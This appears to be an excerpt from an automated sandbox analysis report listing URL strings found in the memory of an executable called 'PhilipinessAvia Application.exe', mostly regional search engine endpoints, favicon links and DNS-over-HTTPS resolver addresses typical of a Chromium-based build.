      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://fr.search.yahoo.com/favicon.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://fr.search.yahoo.com/favicon.icohttps://fr.search.yahoo.com/search
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://fr.search.yahoo.com/search
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://fr.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://go.imgsmail.ru/favicon.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://go.imgsmail.ru/favicon.icohttps://go.mail.ru/search?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://go.mail.ru/chrome/newtab/
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://go.mail.ru/msearch?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://go.mail.ru/search?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76CB000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76CB000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://gpuweb.github.io/gpuweb/wgsl/#texel-formats
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76CB000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76CB000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://gpuweb.github.io/gpuweb/wgsl/#texel-formatstexture_2d
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://hk.search.yahoo.com/favicon.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://hk.search.yahoo.com/favicon.icohttps://hk.search.yahoo.com/search
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://hk.search.yahoo.com/search
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://hk.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://hladaj.atlas.sk/fulltext/?phrase=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://id.search.yahoo.com/favicon.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://id.search.yahoo.com/favicon.icohttps://id.search.yahoo.com/search
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://id.search.yahoo.com/search
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://id.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://in.search.yahoo.com/favicon.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://in.search.yahoo.com/favicon.icohttps://in.search.yahoo.com/search
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://in.search.yahoo.com/search
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://in.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://isearch.avg.com/search?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://log.getdropbox.com/hpkp
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://lss.sse-iacapps.com/query?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://m.so.com/index.php?ie=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://m.so.com/s?ie=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://m.sogou.com/web/
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://malaysia.search.yahoo.com/favicon.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://malaysia.search.yahoo.com/favicon.icohttps://malaysia.search.yahoo.com/search
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://malaysia.search.yahoo.com/search
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://malaysia.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://metager.de/favicon.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://metager.de/favicon.icohttps://metager.de/meta/meta.ger3?eingabe=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://metager.de/meta/meta.ger3?eingabe=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://metager.org/meta/meta.ger3?eingabe=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://mx.search.yahoo.com/favicon.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://mx.search.yahoo.com/favicon.icohttps://mx.search.yahoo.com/search
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://mx.search.yahoo.com/search
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://mx.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://nextdns.io/privacy
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://nl.search.yahoo.com/favicon.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://nl.search.yahoo.com/favicon.icohttps://nl.search.yahoo.com/search
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://nl.search.yahoo.com/search
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://nl.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://nl.softonic.com/s/
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://nova.rambler.ru/search?query=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://nova.rambler.ru/suggest?v=3&query=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://nz.search.yahoo.com/favicon.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://nz.search.yahoo.com/favicon.icohttps://nz.search.yahoo.com/search
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://nz.search.yahoo.com/search
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://nz.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://oceanhero.today/favicon.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://oceanhero.today/favicon.icohttps://oceanhero.today/web?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://oceanhero.today/web?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://odvr.nic.cz/doh
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://odvr.nic.cz/dohodvr.nic.cz185.43.135.1193.17.47.12001:148f:fffe::12001:148f:ffff::1
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://pe.search.yahoo.com/favicon.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://pe.search.yahoo.com/favicon.icohttps://pe.search.yahoo.com/search
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://pe.search.yahoo.com/search
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://pe.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://perfetto.dev/docs/contributing/getting-started#community).
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://perfetto.dev/docs/contributing/getting-started#community).No
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://petalsearch.com/search?query=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://ph.search.yahoo.com/favicon.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://ph.search.yahoo.com/favicon.icohttps://ph.search.yahoo.com/search
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://ph.search.yahoo.com/search
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://ph.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://public.dns.iij.jp/
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://public.dns.iij.jp/IIJ
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://public.dns.iij.jp/dns-query
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://public.dns.iij.jp/dns-queryIijUShttps://nextdns.io/privacyNextDNShttps://chromium.dns.nextdn
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://qc.search.yahoo.com/favicon.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://qc.search.yahoo.com/favicon.icohttps://qc.search.yahoo.com/search
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://qc.search.yahoo.com/search
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://qc.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://se.search.yahoo.com/favicon.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://se.search.yahoo.com/favicon.icohttps://se.search.yahoo.com/search
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://se.search.yahoo.com/search
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://search-static-dre.dbankcdn.com/pc/v1/favicon.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://search-static-dre.dbankcdn.com/pc/v1/favicon.icohttps://petalsearch.com/search?query=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://search.avg.com/route/?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://search.daum.net/favicon.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://search.daum.net/favicon.icohttps://search.daum.net/search?w=tot&DA=JU5&q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://search.daum.net/search?w=tot&DA=JU5&q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://search.gmx.co.uk/web/result?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://search.gmx.com/web/result?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://search.gmx.es/web/result?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://search.gmx.fr/web/result?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://search.goo.ne.jp/cdn/common/img/favicon.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://search.goo.ne.jp/cdn/common/img/favicon.icohttps://search.goo.ne.jp/web.jsp?MT=
